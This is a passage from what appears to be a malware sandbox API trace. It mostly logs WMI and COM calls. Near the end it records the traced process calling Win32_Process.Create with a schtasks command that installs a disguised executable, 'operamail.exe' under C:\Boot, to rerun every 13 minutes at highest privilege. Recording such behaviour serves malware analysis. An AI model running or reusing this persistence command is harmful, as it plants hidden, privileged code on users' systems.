lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0136.129] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fe00, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0136.129] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc3fd40) returned 0x0 [0136.129] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fe00, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0136.129] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3fe00, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0136.129] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3fe00, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0136.129] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc3fd40, uIndex=0x0, pszName="ROOT") returned 0x0 [0136.129] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3fe00, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0136.129] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3fe00, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0136.129] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc3fd40, uIndex=0x1, pszName="CIMV2") returned 0x0 [0136.129] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc3fd40, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0136.129] WbemDefPath:IWbemPath:SetClassName (This=0x1bc3fd40, Name="Win32_Process") returned 0x0 [0136.129] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3fd40, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0136.129] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fd40, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0136.129] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fd40, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0136.130] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fd40, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0136.130] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3fd40, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0136.130] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fd40, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0136.130] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fd40, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0136.130] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fd40, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0136.130] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fb00, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0136.130] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fb00, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0136.130] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fb00, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0136.130] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fd40, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0136.130] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fd40, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0136.130] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0136.130] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0136.130] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0136.130] IUnknown:Release (This=0x1a943398) returned 0x1 [0136.132] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bc6f600) returned 0x0 [0136.132] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc6f600, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0136.132] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc6f600, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bc3fec0) returned 0x0 [0136.132] WbemDefPath:IUnknown:Release (This=0x1bc6f600) returned 0x0 [0136.132] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fec0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bc3fec0) returned 0x0 [0136.132] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fec0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0136.133] WbemDefPath:IUnknown:AddRef (This=0x1bc3fec0) returned 0x3 [0136.133] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fec0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0136.133] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fec0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0136.133] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fec0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bc6f640) returned 0x0 [0136.133] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc6f640, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0136.133] WbemDefPath:IUnknown:Release (This=0x1bc6f640) returned 0x3 [0136.133] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0136.133] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0136.133] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fec0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0136.133] WbemDefPath:IUnknown:Release (This=0x1bc3fec0) returned 0x2 [0136.133] WbemDefPath:IUnknown:Release (This=0x1bc3fec0) returned 0x1 [0136.133] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0136.133] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0136.133] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fec0, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bc3fec0) returned 0x0 [0136.133] WbemDefPath:IUnknown:AddRef (This=0x1bc3fec0) returned 0x3 [0136.133] WbemDefPath:IUnknown:Release (This=0x1bc3fec0) returned 0x2 [0136.134] WbemDefPath:IWbemPath:SetText (This=0x1bc3fec0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0136.134] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fb00, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0136.134] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fb00, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0136.134] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fb00, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.134] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0136.134] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0136.134] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0136.134] IUnknown:Release (This=0x1a943398) returned 0x1 [0136.136] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc6f680) returned 0x0 [0136.136] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc6f680, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0136.136] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc6f680, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc3ff80) returned 0x0 [0136.147] WbemDefPath:IUnknown:Release (This=0x1bc6f680) returned 0x0 [0136.147] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ff80, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc3ff80) returned 0x0 [0136.147] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ff80, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0136.149] WbemDefPath:IUnknown:AddRef (This=0x1bc3ff80) returned 0x3 [0136.149] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ff80, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0136.149] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ff80, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0136.149] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ff80, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc6f6c0) returned 0x0 [0136.172] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc6f6c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0136.172] WbemDefPath:IUnknown:Release (This=0x1bc6f6c0) returned 0x3 [0136.172] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0136.172] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0136.172] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ff80, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0136.172] WbemDefPath:IUnknown:Release (This=0x1bc3ff80) returned 0x2 [0136.173] WbemDefPath:IUnknown:Release (This=0x1bc3ff80) returned 0x1 [0136.173] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0136.173] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0136.173] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ff80, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc3ff80) returned 0x0 [0136.173] WbemDefPath:IUnknown:AddRef (This=0x1bc3ff80) returned 0x3 [0136.173] WbemDefPath:IUnknown:Release (This=0x1bc3ff80) returned 0x2 [0136.173] WbemDefPath:IWbemPath:SetText (This=0x1bc3ff80, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0136.173] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fec0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0136.173] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ff80, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0136.173] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ff80, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0136.174] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ff80, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0136.174] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc3fec0) returned 0x0 [0136.174] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ff80, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0136.174] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3ff80, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0136.174] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3ff80, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0136.174] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc3fec0, uIndex=0x0, pszName="root") returned 0x0 [0136.174] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3ff80, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0136.174] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3ff80, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0136.174] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc3fec0, uIndex=0x1, pszName="cimv2") returned 0x0 [0136.174] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc3ff80, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0136.174] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc3ff80, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0136.174] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc3fec0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0136.174] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc3fec0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0136.174] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3fec0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0136.174] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fb00, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0136.174] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fb00, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0136.174] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fb00, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.175] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fb00, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0136.175] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fb00, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0136.175] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fb00, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.175] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fec0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0136.175] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fec0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0136.175] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fec0, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0136.175] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fec0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0136.175] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fec0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0136.176] IWbemServices:GetObject (in: This=0x1bc64b30, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bc754c0, ppCallResult=0x0) returned 0x0 [0136.180] IWbemClassObject:GetMethod (in: This=0x1bc754c0, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bc75830, ppOutSignature=0x1bb7e690*=0x1bc75ba0) returned 0x0 [0136.181] IWbemClassObject:SpawnInstance (in: This=0x1bc75830, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1aa18d30) returned 0x0 [0136.182] IWbemClassObject:Get (in: This=0x1aa18d30, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2879d08*=0, plFlavor=0x2879d0c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2879d08*=8, plFlavor=0x2879d0c*=32) returned 0x0 [0136.182] IWbemClassObject:Get (in: This=0x1aa18d30, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2879d08*=8, plFlavor=0x2879d0c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2879d08*=8, plFlavor=0x2879d0c*=32) returned 0x0 [0136.183] IWbemClassObject:Put (This=0x1aa18d30, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"operamailo\" /sc MINUTE /mo 13 /tr \"'C:\\Boot\\pl-PL\\operamail.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0136.183] IWbemClassObject:Get (in: This=0x1aa18d30, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2879d98*=0, plFlavor=0x2879d9c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2879d98*=13, plFlavor=0x2879d9c*=32) returned 0x0 [0136.183] IWbemClassObject:Get (in: This=0x1aa18d30, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2879d98*=13, plFlavor=0x2879d9c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2879d98*=13, plFlavor=0x2879d9c*=32) returned 0x0 [0136.183] IUnknown:QueryInterface (in: This=0x1bc2b680, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bc2b680) returned 0x0 [0136.183] IUnknown:QueryInterface (in: This=0x1bc2b680, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0136.183] IUnknown:QueryInterface (in: 